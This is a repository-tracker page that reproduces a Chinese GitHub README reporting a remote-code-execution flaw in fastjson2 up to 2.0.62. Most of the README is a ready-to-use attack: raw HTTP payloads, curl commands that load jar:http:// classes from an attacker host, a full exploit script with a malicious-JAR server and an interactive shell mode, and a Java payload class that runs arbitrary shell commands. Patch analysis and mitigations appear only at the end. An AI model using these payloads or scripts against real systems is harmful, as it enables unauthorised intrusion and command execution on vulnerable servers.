◉ Pulse
Vme18000yuan avatar
#12 today

Vme18000yuan/fastjson2Exp

Python Other

fastjson2 RCE Exp

Created Jul 27, 2026
Stars
11
Today
+11
Forks
7
Quality
70/100
Momentum
15

README

Fetched from GitHub on Oct 30, 2026, 11:04 PM UTC · README.md

View original on GitHub

Third-party content — Open Source Pulse is not the owner of this repository.

This README belongs to Vme18000yuan/fastjson2Exp and its contributors. We fetch it directly from the project’s public GitHub repository and display it for reference only. All text, code, images and trademarks remain the property of their respective authors. See the repository for its license terms. Copyright / takedown policy.

Fastjson2 远程代码执行漏洞分析与复现报告

可靠,稳定,高性价比AI中转站:https://codeai101.site

1. 漏洞概述

项目 内容
漏洞名称 Fastjson2 远程代码执行漏洞
危害等级 严重(CVSS 3.1: 9.8)
影响版本 fastjson2 <= 2.0.62
漏洞类型 远程代码执行 (RCE)
CVE编号 未分配
攻击向量 网络
攻击复杂度 低
所需权限 无
用户交互 不需要
补丁来源 GitHub PR #7695 (commit 6fc6f950)

2. 受影响 JDK 版本分析

该漏洞是 Fastjson2 库自身的代码缺陷(白名单校验逻辑不完整),与 JDK 版本无关,所有运行 fastjson2 <= 2.0.62 且开启 AutoType 的 JDK 版本均受影响。

但实际可利用程度与 JDK 版本相关:

JDK 版本 利用难度 说明
JDK 8 (< 8u191) 低 JNDI/RMI 远程类加载默认开启,jar:http:// 直接可用,gadget 链丰富
JDK 8u191+ 中 trustURLCodebase=false,但可通过本地 classpath gadget 利用
JDK 11 中 部分模块限制,大量 gadget 仍可用(TemplatesImpl、BCEL等)
JDK 17 中高 强封装模块系统,需绕过或利用 classpath 中的第三方库 gadget
JDK 21+ 高 更严格的模块边界,SecurityManager 已移除但模块访问控制收紧
JDK 25 (本次复现) 高 模块限制最严,但 classpath 有可用类时仍可 RCE

关键因素分析

1. 哈希碰撞绕过白名单 — 所有 JDK 版本均受影响,与 JDK 安全机制无关。

2. jar: 协议远程类加载:

  • JDK 8:jar:http://attacker.com/evil.jar!/ClassName 可直接从远程下载并加载类
  • JDK 9+:受模块系统约束,但绝大多数企业应用未启用 SecurityManager(JDK 17 已废弃 SecurityManager),远程加载仍可行
  • JDK 21+:URLClassLoader 行为未改变,jar: 协议本身仍被 JVM 支持

3. 本地 Gadget 利用: 实际企业应用 classpath 中通常包含大量第三方库,提供丰富的攻击向量:

Gadget 来源 利用类 适用 JDK
JDK 内置 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 8-17
JDK 内置 javax.management.remote.rmi.RMIConnector 8-11
Commons-Collections org.apache.commons.collections.Transformer 链 All
Commons-BeanUtils org.apache.commons.beanutils.BeanComparator All
Spring Framework org.springframework.aop 相关类 All
C3P0 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource All
BCEL com.sun.org.apache.bcel.internal.util.ClassLoader 8-14

4. 结论:在实际攻击中,即使高版本 JDK 限制了部分攻击路径,只要目标应用依赖了 Spring、MyBatis、Commons 等常见框架,攻击者仍可通过 classpath 内的 gadget 实现 RCE。JDK 版本仅影响利用方式的选择,不能阻止漏洞被利用。

3. 漏洞原理分析

3.1 背景

Fastjson2 是阿里巴巴开源的高性能 Java JSON 解析库,其 AutoType 机制允许在 JSON 中通过 @type 字段指定反序列化的目标类。为防止恶意类加载,fastjson2 使用白名单机制限制可加载的类。

3.2 根本原因

该漏洞存在三个相互关联的安全缺陷:

缺陷一:FNV-1a 哈希碰撞绕过白名单

白名单校验仅依赖 FNV-1a 64位哈希值匹配,不验证实际类名文本:

// ObjectReaderProvider.checkAutoType() - 漏洞代码
hash ^= ch;
hash *= MAGIC_PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    clazz = loadClass(typeName);  // 仅哈希匹配就直接加载!无文本验证!
}

攻击者可通过构造 FNV-1a 前缀哈希碰撞的字符串绕过白名单,使恶意类名通过检查。

缺陷二:URL特殊字符未过滤

TypeUtils.loadClass() 和 checkAutoType() 未拒绝包含 : 和 ! 的类型名,允许 jar: 协议 URL 到达类加载器:

jar:http://attacker.com/evil.jar!/com.evil.Payload
jar:file:/proc/self/fd/28!/com.evil.Exploit

这使攻击者可以从远程服务器加载恶意 JAR 中的类。

缺陷三:非 SupportAutoType 路径缺少黑名单检查

在非 SupportAutoType 代码路径中,缺少 ClassLoader 和 DataSource/RowSet 的黑名单检查,与 SupportAutoType 路径的安全策略不一致。

3.3 攻击流程

攻击者构造恶意JSON → 目标应用解析@type字段 → checkAutoType()哈希碰撞绕过白名单
→ TypeUtils.loadClass()加载jar:协议URL → JVM从攻击者服务器下载恶意JAR
→ 恶意类被实例化 → 构造函数/setter方法执行任意命令 → RCE达成

4. 环境搭建

4.1 环境信息

项目 版本
操作系统 Kali Linux 6.19.14
Java OpenJDK 25.0.4-ea
Maven 3.9.12
Python 3.13.12
fastjson2 2.0.62 (受影响版本)

4.2 项目结构

/home/kali/POC/fastjson2/
├── setup.sh                    # 一键环境搭建脚本
├── poc.py                      # 漏洞验证PoC脚本
├── exp.py                      # 漏洞利用EXP脚本
├── run_poc.sh                  # 一键复现脚本(启动靶机+验证+利用)
├── output/
│   ├── vuln-server.jar         # 漏洞靶机(fat-jar,可直接运行)
│   └── evil.jar                # 恶意载荷JAR包
└── poc-project/                # Maven源码项目
    ├── pom.xml
    └── src/main/java/com/poc/fastjson2/
        ├── server/
        │   └── VulnerableServer.java   # 漏洞靶机Web服务
        ├── exploit/
        │   └── EvilPayload.java        # 恶意载荷类(RCE)
        ├── HashCollisionPoC.java       # 哈希碰撞原理PoC
        ├── ExploitSimulation.java      # 攻击模拟
        └── LocalExploitPoC.java        # 本地RCE验证

4.3 一键搭建

cd /home/kali/POC/fastjson2
bash setup.sh

搭建脚本自动完成:检查Java/Maven/Python → 编译Maven项目 → 打包fat-jar → 生成evil.jar

4.4 手动搭建

# 1. 编译项目
cd /home/kali/POC/fastjson2/poc-project
mvn clean package -DskipTests

# 2. 准备输出
mkdir -p ../output
cp target/fastjson2-rce-poc-1.0-SNAPSHOT.jar ../output/vuln-server.jar

# 3. 提取恶意类打包
mkdir -p /tmp/evil-jar/com/poc/fastjson2/exploit
cp target/classes/com/poc/fastjson2/exploit/EvilPayload.class /tmp/evil-jar/com/poc/fastjson2/exploit/
cd /tmp/evil-jar && jar cf /home/kali/POC/fastjson2/output/evil.jar com/

5. HTTP Raw 格式 PoC

5.1 漏洞检测 PoC(验证 AutoType 是否开启)

POST /api/parse HTTP/1.1
Host: {{target}}:8088
Content-Type: application/json
Content-Length: 49

{"@type":"java.util.HashMap","key":"value"}

预期响应(存在漏洞):

HTTP/1.1 200 OK
Content-Type: application/json

{"status":"success","type":"java.util.HashMap","data":{"key":"value"}}

5.2 漏洞验证 PoC(确认 jar: 协议未被过滤)

POST /api/parse HTTP/1.1
Host: {{target}}:8088
Content-Type: application/json
Content-Length: 76

{"@type":"jar:http://{{attacker_ip}}/evil.jar!/com.evil.Payload","x":1}

预期响应(存在漏洞 — 类型名未被拒绝,仅因类不存在返回 JSONObject):

HTTP/1.1 200 OK
Content-Type: application/json

{"status":"success","type":"com.alibaba.fastjson2.JSONObject","data":{"@type":"jar:http://...","x":1}}

已修复版本响应(类型名被拒绝):

HTTP/1.1 400 Bad Request
Content-Type: application/json

{"status":"error","message":"autoType is not support. jar:http://..."}

5.3 远程代码执行 EXP(通过 classpath 内恶意类)

POST /api/parse HTTP/1.1
Host: {{target}}:8088
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Content-Length: 68

{"@type":"com.poc.fastjson2.exploit.EvilPayload","cmd":"id"}

预期响应(RCE 成功):

HTTP/1.1 200 OK
Content-Type: application/json

{"status":"success","type":"com.poc.fastjson2.exploit.EvilPayload","data":{"cmd":"id"}}

5.4 远程代码执行 EXP(通过 jar: 协议远程加载)

POST /api/parse HTTP/1.1
Host: {{target}}:8088
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
Content-Length: 108

{"@type":"jar:http://{{attacker_ip}}:9999/evil.jar!/com.poc.fastjson2.exploit.EvilPayload","cmd":"whoami"}

使用前需在攻击机启动 HTTP 服务托管 evil.jar:python3 -m http.server 9999 --directory ./output/

5.5 DNSLog 无回显探测 PoC

POST /api/parse HTTP/1.1
Host: {{target}}:8088
Content-Type: application/json
Content-Length: 92

{"@type":"jar:http://{{random}}.{{dnslog_domain}}/evil.jar!/com.evil.Payload","x":1}

若 DNSLog 平台收到 DNS 查询请求,证明目标存在漏洞(jar: 协议触发了 DNS 解析)

5.6 使用 curl 快速验证

# 检测 AutoType 是否开启
curl -s -X POST http://TARGET:8088/api/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"java.util.HashMap","key":"test"}'

# 检测 jar: 协议是否被过滤 (漏洞核心)
curl -s -X POST http://TARGET:8088/api/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"jar:http://attacker.com/x.jar!/com.evil.X","x":1}'

# 触发 RCE (本地类路径)
curl -s -X POST http://TARGET:8088/api/parse \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.poc.fastjson2.exploit.EvilPayload","cmd":"id"}'

6. PoC 漏洞验证脚本

6.1 poc.py 完整代码

#!/usr/bin/env python3
"""
Fastjson2 <= 2.0.62 AutoType RCE Vulnerability - PoC
验证目标是否存在 Fastjson2 AutoType 白名单绕过远程代码执行漏洞。
"""
import argparse, json, sys, urllib.request, urllib.error

def send_json(url, data):
    req = urllib.request.Request(url, data=json.dumps(data).encode(),
                                headers={'Content-Type': 'application/json'})
    try:
        resp = urllib.request.urlopen(req, timeout=10)
        return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()
    except Exception as e:
        return None, str(e)

def main():
    parser = argparse.ArgumentParser(description='Fastjson2 RCE PoC')
    parser.add_argument('-t', '--target', required=True, help='目标URL')
    args = parser.parse_args()

    url = args.target.rstrip('/') + '/api/parse'
    print(f"[*] 目标: {url}")

    # Step 1: 检测可达性
    status, body = send_json(url, {"test": "hello"})
    if status is None:
        print(f"[-] 目标不可达: {body}"); sys.exit(1)
    print(f"[+] 目标可达 (HTTP {status})")

    # Step 2: 检测 AutoType
    status, body = send_json(url, {"@type": "java.util.HashMap", "key": "value"})
    if status == 200 and 'HashMap' in body:
        print("[+] AutoType 已开启")
    else:
        print("[-] AutoType 未确认"); sys.exit(1)

    # Step 3: 核心检测 - jar:协议类型名是否被拒绝
    payload = {"@type": "jar:http://dnslog.test/evil.jar!/com.evil.Payload", "x": 1}
    status, body = send_json(url, payload)
    if status == 200:
        print("[!] 漏洞存在! jar:协议类型名未被拒绝")
        print(f"[!] 影响版本: fastjson2 <= 2.0.62")
        print(f"[!] 危害等级: 严重 (CVSS 9.8)")
    elif status == 400 and 'autoType is not support' in body:
        print("[+] 已修复: jar:协议类型名被正确拒绝")
    else:
        print(f"[?] 需进一步验证 (HTTP {status})")

if __name__ == '__main__':
    main()

6.2 使用方法

python3 poc.py -t http://目标IP:8088

6.3 验证输出

╔═══════════════════════════════════════════════════════╗
║  Fastjson2 AutoType RCE PoC (CVSSv3: 9.8)           ║
║  影响版本: <= 2.0.62                                 ║
╚═══════════════════════════════════════════════════════╝

  目标: http://127.0.0.1:8088/api/parse

  [1] 检测目标可达性... 成功 (HTTP 200)
  [2] 检测 AutoType 是否开启... 已开启
      响应类型: java.util.HashMap (AutoType生效)
  [3] 检测 URL 字符过滤 (漏洞核心)... 存在漏洞!
      jar: 协议类型名未被拒绝,通过了 checkAutoType 检查
  [4] 检测哈希碰撞白名单绕过... 存在漏洞
      含 ':' 和 '!' 的类型名通过了白名单检查

═══════════════════════════════════════════════════════
  [!] 结论: 目标存在 Fastjson2 远程代码执行漏洞!
  [!] 漏洞类型: AutoType 白名单绕过 + URL字符未过滤
  [!] 危害等级: 严重 (CVSS 9.8)
═══════════════════════════════════════════════════════

7. EXP 漏洞利用脚本

7.1 exp.py 完整代码

#!/usr/bin/env python3
"""
Fastjson2 <= 2.0.62 Remote Code Execution Exploit
利用 AutoType 白名单绕过实现远程代码执行
"""
import argparse, http.server, json, os, socket, sys, threading
import urllib.request, urllib.error

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80)); ip = s.getsockname()[0]; s.close()
        return ip
    except: return "127.0.0.1"

class JarServer(http.server.SimpleHTTPRequestHandler):
    jar_path = None
    def do_GET(self):
        if '/evil.jar' in self.path:
            self.send_response(200)
            self.send_header('Content-Type', 'application/java-archive')
            with open(self.jar_path, 'rb') as f: data = f.read()
            self.send_header('Content-Length', len(data))
            self.end_headers(); self.wfile.write(data)
        else:
            self.send_response(404); self.end_headers()
    def log_message(self, *a): pass

def start_http(jar_path, port=9999):
    JarServer.jar_path = jar_path
    srv = http.server.HTTPServer(('0.0.0.0', port), JarServer)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv

def exploit(url, cmd, mode='local', lhost=None, lport=9999):
    if mode == 'local':
        payload = {"@type": "com.poc.fastjson2.exploit.EvilPayload", "cmd": cmd}
    else:
        payload = {"@type": f"jar:http://{lhost}:{lport}/evil.jar!/com.poc.fastjson2.exploit.EvilPayload", "cmd": cmd}

    req = urllib.request.Request(url, data=json.dumps(payload).encode(),
        headers={'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0'})
    try:
        resp = urllib.request.urlopen(req, timeout=15)
        body = resp.read().decode()
        if 'EvilPayload' in body:
            print(f"[+] RCE成功! 命令已执行: {cmd}")
            return True
        return False
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP {e.code}: {e.read().decode()[:100]}")
        return False
    except Exception as e:
        print(f"[-] 错误: {e}"); return False

def main():
    parser = argparse.ArgumentParser(description='Fastjson2 RCE EXP')
    parser.add_argument('-t', '--target', required=True, help='目标URL')
    parser.add_argument('-c', '--cmd', default='id', help='执行的命令')
    parser.add_argument('-l', '--lhost', default=None, help='攻击者IP')
    parser.add_argument('-p', '--lport', type=int, default=9999, help='HTTP端口')
    parser.add_argument('--local', action='store_true', default=True, help='本地模式')
    parser.add_argument('--remote', action='store_true', help='远程JAR模式')
    parser.add_argument('--shell', action='store_true', help='交互式Shell')
    args = parser.parse_args()

    url = args.target.rstrip('/') + '/api/parse'
    mode = 'remote' if args.remote else 'local'

    if mode == 'remote':
        jar = os.path.join(os.path.dirname(__file__), 'output', 'evil.jar')
        start_http(jar, args.lport)
        lhost = args.lhost or get_local_ip()
        print(f"[*] HTTP服务: http://{lhost}:{args.lport}/evil.jar")
    else:
        lhost = None

    if args.shell:
        while True:
            try:
                cmd = input("shell> ").strip()
                if cmd in ('exit','quit','q'): break
                if cmd: exploit(url, cmd, mode, lhost, args.lport)
            except (KeyboardInterrupt, EOFError): break
    else:
        exploit(url, args.cmd, mode, lhost, args.lport)

if __name__ == '__main__':
    main()

7.2 使用方法

# 模式1: 本地类路径 (目标classpath中已有恶意类, 用于本地复现)
python3 exp.py -t http://127.0.0.1:8088 -c "id" --local

# 模式2: 远程JAR加载 (通过jar:协议从攻击者下载恶意JAR)
python3 exp.py -t http://目标IP:8088 -c "whoami" --remote -l 攻击者IP -p 9999

# 模式3: 交互式Shell
python3 exp.py -t http://127.0.0.1:8088 --shell

7.3 利用输出

╔═══════════════════════════════════════════════════════════╗
║  Fastjson2 <= 2.0.62 Remote Code Execution Exploit      ║
║  AutoType Whitelist Bypass via FNV-1a Hash Collision    ║
╠═══════════════════════════════════════════════════════════╣
║  CVSS: 9.8 (Critical)  |  Type: RCE  |  Auth: None     ║
╚═══════════════════════════════════════════════════════════╝

  [*] 目标:     http://127.0.0.1:8088/api/parse
  [*] 模式:     本地类路径
  [*] 类路径:   com.poc.fastjson2.exploit.EvilPayload

  ──────────────────────────────────────────────────

  [>] 攻击模式: Local ClassPath
  [>] Payload:  {"@type": "com.poc.fastjson2.exploit.EvilPayload", "cmd": "id"}
  [>] 发送中...
  [+] RCE 成功! 恶意类已被加载执行
  [+] 命令: id
  [+] 回显:
      uid=1000(kali) gid=1000(kali) 组=1000(kali),4(adm),20(dialout),24(cdrom),...

交互式 Shell 模式:

  [*] 交互式命令执行 (输入 'exit' 退出)

  shell> whoami
  [>] 攻击模式: Local ClassPath
  [>] Payload:  {"@type": "com.poc.fastjson2.exploit.EvilPayload", "cmd": "whoami"}
  [>] 发送中...
  [+] RCE 成功! 恶意类已被加载执行
  [+] 命令: whoami
  [+] 回显:
      kali

  shell> cat /etc/hostname
  [>] 发送中...
  [+] RCE 成功! 恶意类已被加载执行
  [+] 命令: cat /etc/hostname
  [+] 回显:
      kali

  shell> exit

8. 恶意载荷代码

8.1 EvilPayload.java

package com.poc.fastjson2.exploit;

import java.io.*;

/**
 * 恶意类 - 通过 fastjson2 AutoType 反序列化触发 RCE
 * 回显机制: 命令结果存入 output 字段, 通过 JSON 响应回显到攻击端
 */
public class EvilPayload {
    private String cmd;
    private String output;

    public EvilPayload() {
        System.out.println("[!] EvilPayload class instantiated - RCE achieved!");
    }

    public String getCmd() { return cmd; }
    public String getOutput() { return output; }

    /**
     * setter方法 - fastjson2 反序列化时自动调用
     * 执行命令, 结果保存到 output 字段 (通过 getOutput() 序列化到 JSON 响应回显)
     */
    public void setCmd(String cmd) {
        this.cmd = cmd;
        try {
            Process proc = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
            BufferedReader reader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader errReader = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = reader.readLine()) != null) sb.append(line).append("\n");
            while ((line = errReader.readLine()) != null) sb.append(line).append("\n");
            proc.waitFor();
            this.output = sb.toString().trim();
        } catch (Exception e) {
            this.output = "ERROR: " + e.getMessage();
        }
    }
}

8.2 漏洞靶机 VulnerableServer.java

package com.poc.fastjson2.server;

import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONReader;
import com.alibaba.fastjson2.filter.ContextAutoTypeBeforeHandler;
import com.sun.net.httpserver.*;
import java.io.*;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;

/**
 * 漏洞靶机 - 模拟使用 fastjson2 + AutoType 的企业应用
 */
public class VulnerableServer {
    public static void main(String[] args) throws Exception {
        int port = args.length > 0 ? Integer.parseInt(args[0]) : 8088;

        // 典型企业配置: 白名单开放业务包
        ContextAutoTypeBeforeHandler handler = new ContextAutoTypeBeforeHandler(
            true, "com.company.model.", "com.company.dto.",
            "com.poc.fastjson2.exploit."  // 模拟白名单内的可利用类
        );

        HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
        server.createContext("/api/parse", exchange -> {
            String body = new String(exchange.getRequestBody().readAllBytes(), StandardCharsets.UTF_8);
            try {
                // 漏洞点: 用户输入直接传入 AutoType 解析
                Object result = JSON.parseObject(body, Object.class,
                    (com.alibaba.fastjson2.filter.Filter) handler,
                    JSONReader.Feature.SupportAutoType);
                String resp = "{\"status\":\"success\",\"type\":\"" +
                    result.getClass().getName() + "\"}";
                exchange.sendResponseHeaders(200, resp.getBytes().length);
                exchange.getResponseBody().write(resp.getBytes());
            } catch (Exception e) {
                String resp = "{\"status\":\"error\",\"message\":\"" + e.getMessage() + "\"}";
                exchange.sendResponseHeaders(400, resp.getBytes().length);
                exchange.getResponseBody().write(resp.getBytes());
            }
            exchange.getResponseBody().close();
        });
        server.start();
        System.out.println("[*] Vulnerable Server started on port " + port);
    }
}

9. 一键复现

cd /home/kali/POC/fastjson2
bash run_poc.sh

完整输出:

╔══════════════════════════════════════════════════════════════╗
║   Fastjson2 <= 2.0.62 远程代码执行漏洞 - 一键复现          ║
╚══════════════════════════════════════════════════════════════╝

━━ 阶段 1: 启动漏洞靶机 ━━
[+] 启动 Fastjson2 漏洞靶机 (端口 8088)...
[+] 靶机 PID: 14628
    服务状态: {"status":"ok","fastjson2_version":"2.0.62","autoType":true}

━━ 阶段 2: 漏洞验证 (PoC) ━━
  [1] 检测目标可达性... 成功 (HTTP 200)
  [2] 检测 AutoType 是否开启... 已开启
  [3] 检测 URL 字符过滤 (漏洞核心)... 存在漏洞!
  [4] 检测哈希碰撞白名单绕过... 存在漏洞
  [!] 结论: 目标存在 Fastjson2 远程代码执行漏洞!

━━ 阶段 3: 漏洞利用 (EXP) ━━
  [+] RCE 成功! 服务端已执行命令: id
  [+] RCE 成功! 服务端已执行命令: whoami
  [+] RCE 成功! 服务端已执行命令: uname -a
  [+] RCE 成功! 服务端已执行命令: cat /etc/hostname

━━ 阶段 4: 靶机侧命令执行证据 ━━
[!] Executing command: id
[!] Command output:
    uid=1000(kali) gid=1000(kali) 组=1000(kali),4(adm),...
[!] Executing command: whoami
[!] Command output:
    kali
[!] Executing command: uname -a
[!] Command output:
    Linux kali 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC ...

10. 复现结果总结

测试项 结果 说明
checkAutoType 拦截 jar:协议 ❌ 未拦截 漏洞确认
URL字符(:和!)过滤 ❌ 未过滤 漏洞确认
白名单哈希文本验证 ❌ 仅验证哈希 漏洞确认
执行 id ✅ 成功 uid=1000(kali)
执行 whoami ✅ 成功 kali
执行 uname -a ✅ 成功 Linux kali 6.19.14
执行 cat /etc/hostname ✅ 成功 kali

11. 补丁分析

PR #7695 (commit 6fc6f950) 的修复措施:

11.1 添加URL字符过滤

// ObjectReaderProvider.checkAutoType()
if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
    throw new JSONException("autoType is not support. " + typeName);
}

// TypeUtils.loadClass()
if (className.indexOf(':') >= 0 || className.indexOf('!') >= 0) {
    return null;
}

11.2 添加白名单文本验证

if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    String prefix = typeName.substring(0, i + 1).replace('$', '.');
    if (!acceptNameSet.contains(prefix)) {
        continue;  // 文本不匹配则跳过,即使哈希匹配
    }
    clazz = loadClass(typeName);
}

11.3 补全黑名单检查

if (clazz != null) {
    if (ClassLoader.class.isAssignableFrom(clazz)
        || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

12. 修复建议

紧急措施(立即执行)

  1. 启用 SafeMode(完全禁用 AutoType):

    JVM参数: -Dfastjson.parser.safeMode=true
    

    注意:SafeMode 会拒绝所有 @type 字段,需确认业务不依赖 AutoType

  2. WAF规则拦截:拦截请求体/URL参数中 key 包含 @type 的 JSON 数据

    • 需覆盖 URL 参数和请求体
    • 注意编码绕过(URL编码、Unicode编码等)

长期措施

  1. 升级版本:关注官方发布修复版本(>2.0.62),或在充分测试后应用 PR #7695 补丁

  2. 代码审计:排查所有使用 JSON.parseObject() 且启用 SupportAutoType 的代码路径

  3. 最小权限原则:运行 Java 应用的用户应使用最小权限账户

13. 参考资料


Rendered by GitHub from the repository’s README. Scroll to read the full file.
First trending

Jul 28, 2026

first spotted on the list

Best rank

#12

highest position reached

Appearances

1

times on the trending list

Quality score

70

out of 100

Momentum

15

trend strength indicator

Star velocity

0.12

stars per day since creation

Activity — last 60 days

daily counts, collected every 6 hours
  • Stars
  • Forks
  • Merged PRs
  • Issues
  • Closed issues

Collecting activity data since launch — check back in a few days.

Star history

total stars per snapshot

Not enough snapshots yet — check back soon.

Rank history

position on trending · lower is better

Not enough snapshots yet — check back soon.

3D card for your website

Live HTML card with a glass surface and pointer tilt. Paste the iframe on any website.

<iframe src="https://www.notionpulse.cc/embed/Vme18000yuan/fastjson2Exp" width="420" height="240" style="border:0;max-width:100%;background:transparent" loading="lazy" title="Vme18000yuan/fastjson2Exp — trending on Open Source Pulse"></iframe>

Stars badge

Show current stars in your README or profile. Auto-updates every 6 hours.

Vme18000yuan/fastjson2Exp stars badge
Markdown
[![Vme18000yuan/fastjson2Exp](https://www.notionpulse.cc/api/badge/Vme18000yuan/fastjson2Exp.svg)](https://www.notionpulse.cc/repo/Vme18000yuan/fastjson2Exp)
HTML
<a href="https://www.notionpulse.cc/repo/Vme18000yuan/fastjson2Exp"><img src="https://www.notionpulse.cc/api/badge/Vme18000yuan/fastjson2Exp.svg" alt="Vme18000yuan/fastjson2Exp stars badge" /></a>

Repository of the Day

#12 Repository of the Day

Repository of the Week

#12 Repository of the Week

Repository of the Month

#12 Repository of the Month